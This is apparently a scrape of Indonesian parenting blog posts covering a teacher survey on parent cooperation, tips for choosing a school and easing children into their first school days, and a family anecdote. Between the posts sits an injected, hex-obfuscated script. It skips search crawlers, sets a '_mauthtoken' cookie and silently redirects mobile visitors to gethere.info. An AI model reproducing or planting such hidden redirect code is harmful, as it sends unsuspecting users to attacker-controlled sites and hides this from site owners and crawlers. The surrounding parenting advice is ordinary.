Pendidikan Anak : Dari Guru untuk Orang Tua

<p style="text-align: left;"><a title="Dari Guru untuk Orang Tua" href="http://griyaparenting.com/blog/pendidikan-anak-dari-guru-untuk-orang-tua/">Dari Guru Untuk Orang Tua</a> – Sinergi, inilah barangkali kata pasti yang yang mesti didengungkan di antara <a title="Dari Guru untuk Orang Tua" href="http://griyaparenting.com/blog/pendidikan-anak-dari-guru-untuk-orang-tua/">orang tua dan guru</a> sebagai sebuah tim yang akan menyukseskan pendidikan anak-anak. Sebuah tim dikatakan mempunyai sinergis jika masing-masing anggota tim mempunyai kesamaan tujuan, adanya komunikasi yang intens dan setiap anggota mengetahui dan memahami peran masing-masing.
Berangkat dari kebutuhan tentang sinergitas di atas, "guru dan orang tua", kami telah melakukan pengumpulan data tentang harapan dan permohonan guru kepada orang tua terkait dengan optimalisasi proses pendidikan anak. Dengan informasi ini orang tua minimal mengetahui apa saja yang dapat membantu guru di dalam proses pendidikan tersebut dan apa saja yang harus dihindarkan oleh mereka.
<a title="Dari Guru Untuk Orang Tua" href="http://griyaparenting.com/blog/pendidikan-anak-dari-guru-untuk-orang-tua/"><img class="alignnone" style="border: 0px;" title="Sekolah Orang Tua : Dari Guru untuk Orang Tua" src="http://i57.tinypic.com/20q172u.jpg" alt="guru dan orang tua, pendidikan anak, guru, orang tua, griya parenting" width="298" height="225" border="0" /></a>
Sebagai responden dari data di atas adalah beberapa guru di SD Islam Al Hikmah, SDIT Insan Kamil, TKIT Insan Kamil, SD Islam At Taqwa dan SD Al Haq Sidoarjo.</p>
<strong>Sikap Ideal Orang Tua</strong>
Bagi beberapa guru yang telah kami jadikan responden, sikap yang paling baik bagi orang tua terkait proses pendidikan anak-anak mereka adalah sikap informatif dan komunikatif. Lebih dari 80 % responden menyebutkan sikap ini, karena bagi mereka sikap ini akan sangat mempermudah guru-guru untuk mendapatkan informasi sesungguhnya tentang anak. Ibarat seseorang yang tidak mau membeli kucing di dalam karung, maka mereka meminta penjual untuk membuka karung tersebut baru mereka akan mempertimbangkan harganya.
Dengan informasi yang lengkap dari orang tua, maka guru-guru akan lebih mudah melakukan penanganan terhadap anak. Mereka tidak sibuk lagi untuk membuka karung, karena orang tua telah mengeluarkannya dari dalam karung.
Selanjutnya sikap kedua yang paling banyak responden (guru) harapkan dari orang tua adalah kooperatif. Sikap kooperatif ini disebutkan oleh hampir 60 % dari seluruh responden. Bagi guru kerja sama orang tua di dalam mendidik anak adalah sebuah keniscayaan. Seorang responden bahkan menyebutkan mana bisa seorang anak yang mengalami masalah tentang kesulitan belajar, semua beban tersebut diberikan kepundak guru, padahal seringkali kesulitan belajar tersebut berangkat dari masalah di rumah.
Sikap ketiga yang paling sering disebut oleh responden (guru) adalah sikap perhatian. Sebanyak 30 % dari seluruh responden yang mengharapkan orang tua untuk lebih perhatian kepada anaknya. Seorang responden (guru) bahkan mengatakan ada orang tua yang seakan-akan menyerahkan seluruh pendidikan anak kepada guru, mengantar setiap hari putranya dan menjemputnya pada sore hari. Sementara waktu antara pukul 07.00-16.00 semua adalah tanggung jawab sekolah.
Beberapa sikap lain yang sempat disebut dan diharapkan oleh beberapa guru terhadap orang tua adalah kejujuran untuk memberikan informasi tentang anak, sabar menghadapi anak dan terbuka untuk menerima masukan dari guru.

<strong>Jenis Informasi</strong>
Bagi sebagian orang informasi bagaikan sebilah pedang yang tajam. Dengan pedang tersebut ia dapat melakukan tugasnya dengan lebih mudah dan lebih cepat. Beberapa manajer perusahan akan menunggu datangnya informasi akurat untuk membuat sebuah keputusan akhir. Begitu pula guru, sikap orang tua yang paling disenanginya adalah orang tua yang komunikatif dan informatif.
Kemudian jenis informasi apakah yang paling diharapkan guru dari orang tua? Jenis informasi yang paling dibutuhkan oleh sebagian besar guru dari wali murid adalah informasi tentang kebiasaan dan perilaku anak di rumah. Hampir mendekati 85 % dari responden menuliskan informasi tentang kebiasaan dan perilaku anak di rumah. Dengan informasi ini guru dapat menindaklanjutinya di sekolah. Ada beberapa anak yang mempunyai perangai santun di sekolah, namun di rumah peragai anak tersebut berubah sama sekali atau sebaliknya. Kondisi seperti inilah yang dapat ditindaklanjuti guru untuk dilakukan perbaikan dan dialog antara guru dan orang tua.
Informasi tentang belajar anak di rumah juga mendapatkan nilai yang tinggi dari para responden. Prosentasi untuk informasi ini mencapai 40 % responden (guru) menulisnya. Seorang guru menulis alasan untuk memilih informasi ini karena ia dapat memastikan bahwa anak didiknya dapat belajar di rumah dengan baik.
Beberapa informasi lain yang sempat ditulis beberapa guru adalah informasi tentang pelaksanaan ibadah anak di rumah, informasi tentang tanggung jawab dan <a title="Mendidik Anak Mandiri : Ibuku, Bodyguardku" href="http://griyaparenting.com/mendidik-anak-mandiri-ibuku-bodyguardku/">kemandirian</a> anak serta informasi tentang cara anak menghabiskan waktu libur di rumah.

<strong>Bantuan Orang Tua</strong>
Bagian inilah barangkali yang paling sulit disampaikan guru kepada para orang tua. Kelihatannya para guru tidak membutuhkan banyak bantuan dari orang tua, tetapi sebenarnya banyak hal yang dapat dilakukan orang tua untuk membantu guru di dalam proses pendidikan putra-putri mereka.
Lebih dari 35 % responden (guru) menuliskan bahwa bantuan yang paling mereka harapkan dari orang tua adalah melengkapi fasilitas belajar anak di sekolah. Fasilitas ini dapat berupa peralatan yang dipergunakan oleh putra-putri mereka secara pribadi, seperti kelengkapan buku pelajaran, pulpen dan lain-lain, maupun fasilitas sekolah secara umum. Beberapa sekolah belum mempunyai perpustakaan dengan jumlah buku yang memadai atau beberapa alat peraga untuk pembelajaran belum dimiliki sekolah tersebut. Uluran tangan orang tua untuk fasilitas sekolah masih sangat diharapkan, termasuk di sekolah yang sudah maju sekalipun.
Bantuan lain yang juga diharapkan guru dari orang tua walaupun dengan prosentasi hanya 25 % yang menulisnya adalah meningkatkan kesabaran di dalam mendidik putranya. Beberapa guru menangkap beberapa orang tua yang kurang sabar di dalam menghadapi sikap anak yang cenderung aktif. Sikap ini justru menghambat guru di dalam proses pendidikan anak-anak tersebut.
Beberapa jenis bantuan yang diharapkan guru walaupun dalam persentase yang lebih kecil adalah orang tua dimohon untuk lebih memahami karakter anak, selalu membimbing dan memotivasi mereka, dan melakukan kontrol terhadap program-program pembiasan positif di rumah.

<strong>PR Anak</strong>
Banyak orang tua menganggap bahwa putranya belum belajar jika belum mengerjakan PR dari gurunya, sehingga sebagian mereka selalu menuntut guru untuk memberikan PR bagi putra-putri mereka. Sebenanrya apa saja harapan dan himbauan guru untuk orang tua terkait dengan PR anak-anak?
Harapan guru tentang PR kepada orang tua adalah meminta orang tua untuk tidak mengerjakan PR anaknya. Jumlah responden (guru) yang menulis untuk tidak mengerjakan PR anak sebesar 55 % . Harapan ini supaya guru dapat mengetahui tentang pemahaman anak tersebut terhadap materi yang telah diajarkan, di samping supaya anak mempunyai sikap bertanggung jawab terhadap tugas yang diberikan kepadanya.
Sebesar 50 % dari responden (guru) yang menulis harapannya bagi orang tua untuk mendampingi dan memotivasi saat putra-putri mereka mengerjakan PR. Harapan ini tampaknya berangkat dari fenomena masih banyaknya anak yang belum mempunyai <a title="Mendidik Anak Mandiri : Ibuku, Bodyguardku" href="http://griyaparenting.com/mendidik-anak-mandiri-ibuku-bodyguardku/">kemandirian</a> dan tanggung jawab di dalam mengerjakan PR.
Beberapa harapan guru untuk orang tua terkait dengan PR anak adalah tidak menyalahkan di saat anak mengalami kesulitas di dalam mengerjakan PR, membuat kondisi rumah mendukung bagi belajar anak, dan orang tua diharapkan mengetahui tentang batasan mata pelajaran.

<strong>Buku Penghubung</strong>

Posisi Buku Penghubung antara <strong>guru dan orang tua</strong> ibarat posisi sebuah jembatan yang menghubungkan dua desa yang dipisahkan oleh sebuah sungai besar. Kedua desa tersebut sebenarnya dapat dihubungkan dengan perahu atau sampan kecil, namun dengan adanya jembatan hubungan lebih mudah untuk dilakukan
Namun demikian, tidak semua orang tua yang telah menggunakan buku penghubung sebagai jembatan komunikasi antara guru dan orang tua, sehingga tentang buku penghubung mayoritas responden (guru) menghimbau para orang tua untuk mengisi buku penghubung. Jumlah guru yang menulis himbauan ini adalah 75 %, hal ini memberi indikasi masih banyaknya orang tua yang belum mengisinya.
Himbauan lain yang cukup besar jumlah respondennya (65 %) terkait dengan buku penghubung adalah himbauan untuk cepat merespon catatan yang terdapat dalam buku penghubung. Himbauan ini penting karena sangat terkait dengan tindak lanjut yang harus segera dilakukan oleh orang tua dan guru terkait dengan perilaku anak.
Beberapa harapan lain terkait dengan buku penghubung adalah meminta orang tua untuk mengisinya setiap hari tidak seminggu sekali, keengganan orang tua untuk menyampaikan kejadian-kejadian penting terkait dengan aktivitas anak di rumah, dan mengisi buku penghubung yang tidak sesuai dengan kondisi anak sebenarnya.
Harapan dan Saran untuk Orang tua
Ada beberapa harapan dan saran yang sempat ditulis oleh responden (guru) untuk orang tua yang terkait dengan proses pendidikan putra-putri mereka, di antara harapan bagi orang tua adalah ;
<ol>
<li>Meningkatkan kesabaran saat berhadapan dengan anak, baik pada saat mendampingi anak ketika belajar, maupun menghadapi perilaku-perilaku aktif anak</li>
<li>Membangun sikap positif terhadap anak, sikap positif ini dapat berupa sikap percaya akan kemampuan anak, membiasakan perilaku-perilaku positif, dan meningkatkan kepercayaan diri anak</li>
<li>Sering melakukan konsultasi dengan pihak sekolah, terutama kepada guru tentang hal-hal yang kurang dipahami akan perilaku dan sikap anak</li>
<li>Memberikan kepercayaan yang penuh kepada sekolah tentang apa-apa yang diusahakan di dalam proses pendidikan putra-putri mereka</li>
<li>Menghindari sifat reaktif bila ada informasi/laporan dari anak dan orang lain</li>
<li>Menyelaraskan perlakuan terhadap anak antara di sekolah dan di rumah. Perlakuan yang tidak sama antara rumah dan sekolah dapat menjadikan anak mempunyai kepribadian ganda.</li>
<li>Orang tua hendaknya menjadi teladan bagi anak-anak, dengan mengajak mereka melakukan ibadah bersama-sama.</li>
<li>Meningkatkan kedekatan dengan anak, sehingga anak merasa bahwa orang tua bukan sekedar figur dan status, tetapi menjadi tempat bagi anak untuk bercerita, bertukar fikiran dan meminta pertimbangan.</li>
</ol>
&nbsp;

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Pendidikan Anak : Memulai Pendidikan Anak

Memilih Sekolah Anak
memilih sekolah, memilih sekolah anak, sekolah anak

Memilih Sekolah Anak – Saat kita hendak menjahitkan kain celana kepada salah seorang penjahit maka kita akan menimbang kualitas kain dengan kemampuan penjahitnya. Semakin baik kualitas kain tersebut, kita memilih penjahit yang lebih baik walaupun dengan harga yang tentunya lebih mahal. Begitu pula sebaliknya jika yang kita miliki adalah kain yang kurang baik.
Saat kita memasukkan anak kita ke sebuah sekolah, sebagaimana kita memilih seorang penjahit untuk kain kita. Tentunya kita tidak akan memilih penjahit yang biasa saja untuk buah hati kita yang luar biasa. Di sinilah perlunya kita memikirkan secara matang saat kita akan memilih sekolah bagi putra-putri kita.
Drs Masruri dalam majalah Al Falah telah menulis 10 langkah cara memilih sekolah yang sesuai dengan kita, yaitu:

  1. Tentukan visi keluarga terhadap anak, kemudian memilih sekolah yang dapat menjawab visi keluarga anda
  2. Memastikan sekolah yang dapat menjawab visi keluarga dengan berdialog langsung dengan kepala sekolah atau membaca brosur-brosur yang diterbitkan oleh sekolah tersebut
  3. Melibatkan anak di dalam pemilihan sekolah. Mereka perlu diajak untuk menentukan pilihan sekolah. Tentu dengan pengarahan sebelumnya tentang harapan kita terhadap masa depan mereka
  4. Melihat program sekolah, apakah program-program itu dapat mencapai visi sekolah yang diharapkan
  5. Mengetahui guru-guru di sekolah tersebut. Sekolah yang berkualitas selalu identik dengan guru-guru yang berkualitas juga
  6. Mencari informasi tentang lulusan sekolah. Output atau outcome sekolah adalah bukti paling nyata tentang kualitas suatu sekolah
  7. Mengamati fasilitas yang dimiliki oleh sekolah. Sekolah yang berkualitas tidak harus memiliki fasilitas yang mewah. Yang terpenting tidak membahayakan siswa, mempunyai fungsi yang optimal dan dalam kondisi yang bersih
  8. Mengamati school culture, sekolah yang memiliki budaya/kultur yang baik akan melahirkan sikap-sikap yang baik.
  9. Mengukur anggaran pendidikan anak, sekolah yang memiliki ciri-ciri di atas umumnya meminta biaya yang cukup tinggi. Sehingga orang tua harus selektif untuk memilih sekolah dengan kreteria paling banyak namun dengan biaya yang paling murah
  10. Jika tidak ada sekolah yang memenuhi kriteria kita, maka kita dapat memilih sekolah yang terbaik di antara yang rata-rata tadi dan menambah bagi anak materi-materi yang belum dimiliki oleh mereka dengan mengikutkan mereka pada beberapa kursus.

Hari-Hari Pertama Sekolah
Perasaan apakah yang muncul saat hendak bepergian ke suatu negara yang belum pernah kita kunjungi sebelumnya? Pasti akan muncul perasaan takut dan khawatir. Lalu kita akan mencari informasi kepada beberapa teman kita yang pernah mengunjungi negara tersebut tentang tata cara khas negara itu, adat istiadat, bahkan beberapa bahasa khas negara tersebut.
Demikian pula dengan anak-anak yang akan memulai masa pendidikan di Taman Kanak-Kanak atau bahkan di Sekolah Dasar. Mereka juga menghadapi perasaan yang sama, perasaan takut, khawatir dan cemas. Sebagian anak telah mempunyai keterampilan dan kemandirian untuk menghadapi perasaan-perasaan tersebut, namun sebagian yang lain belum mempunyai keterampilan itu. Sehingga kita sebagai orang tua perlu membantu mereka untuk menghadapi semua perasaan-perasaan tersebut.
Perasaan takut dan khawatir memasuki sekolah baru jika diungkapkan dalam kata-kata dapat berupa hal-hal berikut ini:

  1. Apakah aku aman dilingkungan sekolah ini?
  2. Apakah orang tuaku dapat menungguku di sekolah ini?
  3. Apakah guru-guruku akan menyenangiku?
  4. Apakah anak-anak lain di kelasku akan senang kepadaku?
  5. Apa yang dapat aku lakukan di sini?

Sebenarnya beberapa sekolah telah menawarkan program kunjungan kelas atau sekolah satu hari. Namun, banyak orang tua yang belum dapat memanfaatkannya. Anak-anak perlu mengetahui jawaban dari pertanyaan-pertanyaan di atas, dan mereka membutuhkan jawaban tersebut secara detail dan jujur

Prahari Pertama

Orang tua dapat membantu putra-putrinya untuk menghindarkan dari kecemasan ketika pertama kali menjejakkan kaki ke halaman sekolah, jika sebelumnya mereka melakukan beberapa hal berikut ini:

  1. Sejak jauh-jauh hari, katakan kepada si anak rencana kita memasukkannya ke sekolah. Ungkapkan bahwa sekolah itu tempat yang menyenangkan. Misalnya, ceritakan bahwa di sekolah nanti ia akan mendapatkan banyak teman dan bisa mengikuti berbagai macam permainan.
  2. Sejak dini usahakan anak mengenal lingkungan lain, di luar lingkungan keluarganya. Misalnya, dengan sering membawa si kecil bermain dengan anak-anak tetangga, atau membawanya pergi ke pesta atau pertemuan keluarga.
  3. Ajak anak bermain dengan menggunakan media boneka untuk mengisahkan betapa menyenangkannya pergi ke sekolah. Tanamkan pada pikirannya, di sekolah dia juga bisa belajar sambil bermain serta memungkinkan ia bertemu dan bermain dengan banyak teman. Sehingga baginya sekolah juga menyenangkan.
  4. Bila si kakak sudah bersekolah, sesekali ajaklah si adik mengantarkan kakaknya ke sekolah. Di sana, si kecil bisa melihat langsung kegiatan bersekolah, juga melihat bahwa untuk bersekolah itu seorang anak tak perlu ditunggui orang tua.
  5. Tak ada salahnya memasukkan si anak ke taman bermain, atau mengajaknya mencoba kelas-kelas percobaan yang ditawarkan beberapa taman bermain. Cara ini dapat membiasakan anak dengan suasana sekolah.
  6. Lakukan survei dan observasi terhadap sekolah yang akan dimasuki si anak (school shopping). Paling tidak setahun sebelum anak Anda masuk sekolah. Ajaklah dia untuk melihat-lihat sekolah ini.
  7. Pilihlah sekolah yang menurut Anda si kecil merasa paling nyaman. Lalu ajaklah ia mendaftar, sambil bermain dan berkenalan dengan guru-guru di sekolah tersebut. Sehingga, pada waktunya sekolah nanti, si kecil sudah mempunyai pandangan positif mengenai gurunya.
  8. Libatkan si kecil saat berbelanja berbagai keperluan sekolahnya, seperti tempat air minum, tas, atau peralatan menggambar. Cara ini bisa menumbuhkan antusiasme anak Anda untuk memulai sekolah.
  9. Perkenalkan jadwal harian baru kepada si kecil. Misalnya, anak Anda yang tadinya baru bangun tidur pukul 6 pagi, maka dengan bersekolah kini harus dibiasakan untuk bangun sekitar pukul 05.30. Perubahan jadwal harian ini jangan mendadak.

Ketegangan Hari Pertama
Akhirnya hari yang ditunggu-tunggu telah tiba. Meski ada perasaan takut dan khawatir melepas anak, sebaiknya jangan berbagi perasaan yang tidak mengenakkan ini dengan anak. Pasalnya, kecemasan itu bisa ‘menular’. Lebih baik mencoba beberapa kiat di bawah ini untuk mengusir kecemasan kita.

  1. Persiapkan dengan seksama baju dan makanan untuk dibawa si kecil. Tak ada salahnya, membiarkan anak membawa satu atau dua barang kesayangannya. Misalnya, boneka atau mobil-mobilan. Tetapi, jangan membiarkan ia membawa hampir seluruh mainan. Coba katakan, “Bawa mainan satu saja, ya, Sayang. Nanti bisa hilang, lho.”
  2. Buatlah suasana berangkat ke sekolah itu tidak tegang atau terburu-buru agar anak merasa mantap ke sekolah.
  3. Pada hari pertama bersekolah, tidak ada salahnya Anda atau suami ikut mengantar ke sekolah. Bersama anak, temui gurunya seolah-olah menyerahkan tanggung jawab sementara kepada sang guru. Anda bisa mengatakan, ”Bu, titip anak saya, ya. Tolong diberi pendidikan yang baik.” Kepada anak, katakan, ”Mama titip kamu sementara pada Bu Guru, ya.” Dengan cara ini, ketidakberadaan sang ibu tidak akan terlalu merisaukan si kecil, karena ada ‘ibu lain’ yang akan menjaganya.
  4. Pada hari pertama ke sekolah, mungkin Anda bisa menunggui si kecil hingga usai pulang sekolah. Tapi, jangan jadikan hal ini sebagai kebiasaan. Katakan kepada anak sejak dari rumah, bahwa Anda hanya menungguinya di sekolah untuk satu atau dua hari saja.
  5. Setelah satu atau dua hari, ketika anak mulai merasa nyaman di sekolah mulailah perlahan-lahan mengubah kebiasaan Anda. Sebelumnya Anda menunggui seharian, cobalah tidak menungguinya hingga sekolah usai. Tetapi, jika anak masih terlihat cemas, usahakan membuatnya tenang dengan cara menjanjikan akan menjemputnya tepat pada saat pulang sekolah. Atau, katakan bahwa Anda hanya pergi selama satu jam, karena harus berbelanja keperluan makan siangnya sepulang sekolah nanti.
  6. Kalau si kecil begitu ketakutan hingga memaksa Anda menemaninya di dalam kelas, boleh saja Anda turuti untuk beberapa hari. Selanjutnya, Anda harus meyakinkan si kecil bahwa sudah saatnya dia mandiri. Bila Anda menuruti kemauannya itu, bisa-bisa menimbulkan kecemburuan anak-anak lain yang sudah mulai berani bersekolah.
  7. Nah, bila si kecil sudah terlihat dapat ditinggal, tak ada salahnya Anda memantapkan hati untuk meninggalkan si kecil dalam pengasuhan gurunya, sampai sekolah bubar. Jangan lupa, berilah pujian atas keberaniannya ditinggal sendiri.
  8. Jangan memaksa anak untuk bercerita mengenai sekolahnya yang baru ketika pulang sekolah. Terkadang, hal ini justru membuatnya merasa tidak nyaman. Biarkanlah hingga ia bercerita sendiri.

Hal-Hal Yang Perlu Diantisipasi
Anak-anak sering mengalami ketakutan yang berlebihan, terutama bila berada di tempat yang baru, termasuk sekolah. Dan mereka membutuhkan masa adaptasi untuk meredakan ketakutan tersebut.
Menurut Ibu Ery Soekresno ada tiga hal yang perlu diantisipasi oleh pihak sekolah dan orang tua saat mengantarkan anak pada hari-hari pertama sekolah, yaitu:

  1. Mengajari anak untuk mengatasi ketakuan terhadap lingkungan baru
  2. Membimbing anak untuk mengatasi ketakutan terhadap perpisahan dengan orang tua
  3. Membimbing anak untuk dapat berinteraksi dengan guru dan teman-teman yang lain

Mengatasi Ketakutan Lingkungan Baru
Beberapa anak yang baru datang ke sekolah pada hari pertama mengalami ketakutan pada lingkungan baru sekolah. Ketakutan tersebut terekspresikan dengan cara yang berbeda-beda. Ada yang mengekspresikan dengan regresi tingkah laku, seperti mengisap jempol, mengompol, merengek-rengek, minta digendong, bahkan merangkak. Ada juga yang mengekspresikannya dengan marah dan menangis sambil berguling-guling.
Mengatasi regresi tingkah laku dan rasa marah dapat dilakukan dengan menerimanya sebagai salah satu usaha anak untuk mengatasi perubahan dalam hidupnya. Anggaplah ini sebagai sinyal bahwa anak membutuhkan rasa aman. Cobalah untuk bersabar sambil terus menerus menyampaikan gambaran positif tentang sekolah. Sebaiknya kita memberi komentar, “Mama tahu kurang nyaman dengan kondisi ini, mudah-mudahan kamu dapat mengatasinya dengan baik”.
Munculnya rasa takut anak karena ketidaktahuan terhadap beberapa fasilitas dan peraturan sekolah, seperti di mana ia harus buang air kecil dan besar, bagaimana caranya keluar dari kelas untuk ke kamar mandi, apakah saya boleh mengambil air minum sekarang dan lain-lain. Dengan menjawab apa-apa yang menjadi sumber ketakutan ini maka akan berkuranglah rasa takut itu sendiri.
Mengatasi Perpisahan
Ada beberapa tahapan yang akan membantu anak mengatasi perpisahan di hari pertama masuk sekolah, yaitu:

  1. Tenang, tampilkan perasaan senang. Tersenyum, dan berilah anak ucapan salam dengan percaya diri. Apapun respons anak, tetaplah untuk tersenyum. Jangan memunculkan wajah cemas dan perasaan ragu.
  2. Tidak meninggalkan anak diam-diam, jelaskan kepada anak bahwa anda akan meninggalkannya dengan ibu guru di sekolah. Dan katakan kapan anda akan menjemputnya kembali. Jika anak menangis, jangan kembali karena akan membuatnya menangis semakin kencang. Meninggalkan anak dengan diam-diam akan membuatnya merasa tidak dicintai dan diabaikan. Juga, memperlambat proses adaptasi, karena perhatian anak terfokus pada Anda. Sekali Anda melakukannya, dia akan mengawasi Anda terus, khawatir Anda meninggalkannya sewaktu-waktu.
  3. Biarkan anak menangis, karena rasanya tidak logis meminta anak berhenti menangis saat dia justru merasa nyaman dengan tangisannya. Menangis adalah cara anak untuk mengekspresikan perasaan takut dan khawatir.
  4. Kembalilah dengan senyum dan pujian. Ketika orang tua menjemput, anak yang tadinya tenang mungkin akan menangis. Dia akan berlari lalu memeluk orang tuanya. Kedua perilaku itu normal, yang terpenting adalah orang tua harus tersenyum ,tenang, ceria, dan memberikan pujian.

Membantu Anak berinteraksi dengan teman

Beberapa sekolah pada hari pertama tidak langsung memberi materi pelajaran kepada anak didik, akan tetapi memberikan kegiatan yang bersifat game-game untuk saling mengenal antara siswa dan guru serta siswa dengan siswa yang lain.
Orang tua sebenarnya juga dapat membantu sekolah untuk memfasilitasi terjadi interaksi putranya dengan teman-teman yang lain di sekolah.
Berkunjung ke rumah calon siswa pada sekolah yang sama akan sangat membantu anak di dalam berinteraksi dengan teman, karena anak lebih mudah untuk memulai berinteraksi dengan sedikit anak daripada dengan banyak anak.
Pada saat mengantarkan anak orang tua dapat bercakap-cakap dengan orang tua yang lain sambil mengenalkan putra-putrinya masing-masing. Dengan cara ini anak akan melihat dengan jelas bahwa orang tuanya dengan mudah dapat bergaul dengan yang lain.

 

Metode Pendidikan Anak : Beda Standar

<a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">Pendidikan Anak</a> – Hari Rabu adalah hari olah raga bagi siswa kelas I B SD Al Hikmah. Setiap anak sudah memakai seragam olah raga semenjak mereka berangkat dari rumah. Mereka juga diminta untuk membawa seragam kemeja putih dan celana merah untuk dipakai seusai kegiatan olah raga.
Rabu itu terasa waktu begitu cepat, seusai shalat shubuh semua anggota keluargaku telah disibukkan dengan kegiatan mereka masing-masing. Istriku berangkat belanja ke warung sebelah gang, anakku pertama Faqih telah sibuk menyiapkan bukunya dilanjutkan mandi pagi dan aku sendiri beserta anakku kedua sibuk membenahi tempat tidur dan menjaga si kecil yang baru berusia 6 bulan. Sejenak kemudian istriku telah datang dari belanjanya dan mulai sibuk memasak menghidangkan makanan untuk sarapan kami. Sulungku telah usai mandi dan mengambil seragam olah raganya.
Beberapa saat kemudian kami semua telah menghadap hidangan sarapan pagi dan menyantapnya bersama-sama. Dan tampaknya anakku Faqih adalah yang pertama menyelesaikan kegiatan makannya. Seusai membawa piring ke tempat pencucian ia menuju tas sekolahnya untuk dia amati sekali lagi. Rupanya ia ingat bahwa seragam merah putihnya belum masuk ke dalam tas sekolahnya. Melihat mamanya belum menyelesaikan makan, ia tiba-tiba mengambil seragamnya yang masih tergantung di hanger dalam lemari dan kemudian mencoba untuk melipatnya. Namun, inisiatif untuk membantu tiba-tiba terhenti ketika mamanya berbicara, sudah mas nanti mama saja yang melipat, nanti kalau kamu lipat malah tambah lungset semua seragammu itu.
Barangkali fenomena di atas sering terjadi pada keluarga kita, seorang anak yang ingin membantu ibunya untuk mencuci piring makannya, namun ditolak oleh ibunya karena standar kebersihan cucian tersebut tidak sesuai dengan keinginan orang tuanya.
Di sinilah muncul dua masalah, pertama, standar kebersihan yang harus diperhatikan dan merupakan prasyarat kesehatan rumah tangga dan ini menuruti perspektif ibu. Kedua, <a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">inisiatif anak</a> untuk membantu kedua orang tuanya dan ini menuruti perspektif anak. Pertanyaan yang muncul adalah perpektif siapa yang harus dihargai terlebih dahulu? Dan kita orang tua sebenarnya sepakat bahwa perspektif anaklah yang terlebih dahulu dihormati, sebagaimana kita sepakat bahwa orang tua yang harus memahami anak dan bukan sebaliknya anak yang dituntut untuk memahami orang tuanya terlebih dahulu.
